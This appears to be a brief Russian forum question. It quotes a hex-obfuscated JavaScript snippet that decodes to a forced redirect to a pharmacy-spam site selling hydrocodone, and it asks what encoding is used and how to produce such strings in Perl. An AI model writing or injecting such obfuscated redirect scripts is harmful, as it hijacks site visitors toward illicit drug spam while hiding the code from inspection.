[GrOgy]

<script language="javascript">document.write("\x3C\x73\x63\x72\x69\x70\x74\x20 \x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x 69\x70\x74\x22\x3E\x74\x6F\x70\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E \x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6D\x61\x72\x 74\x77\x65\x62\x73\x65\x61\x72\x63\x68\x69\x6E\x67\x2E\x63\x6F\x6D\x2F \x70\x68\x61\x72\x6D\x2F\x72\x65\x70\x6F\x72\x74\x2E\x70\x68\x70\x3F\x 71\x3D\x68\x79\x64\x72\x6F\x63\x6F\x64\x6F\x6E\x65\x22\x3B\x3C\x2F\x73 \x63\x72\x69\x70\x74\x3E");</script>
ЭТо зашифрованный скрипт.
Вопрос: В каком виде тут представлены данные, и как можно получить такую строку в Perl ?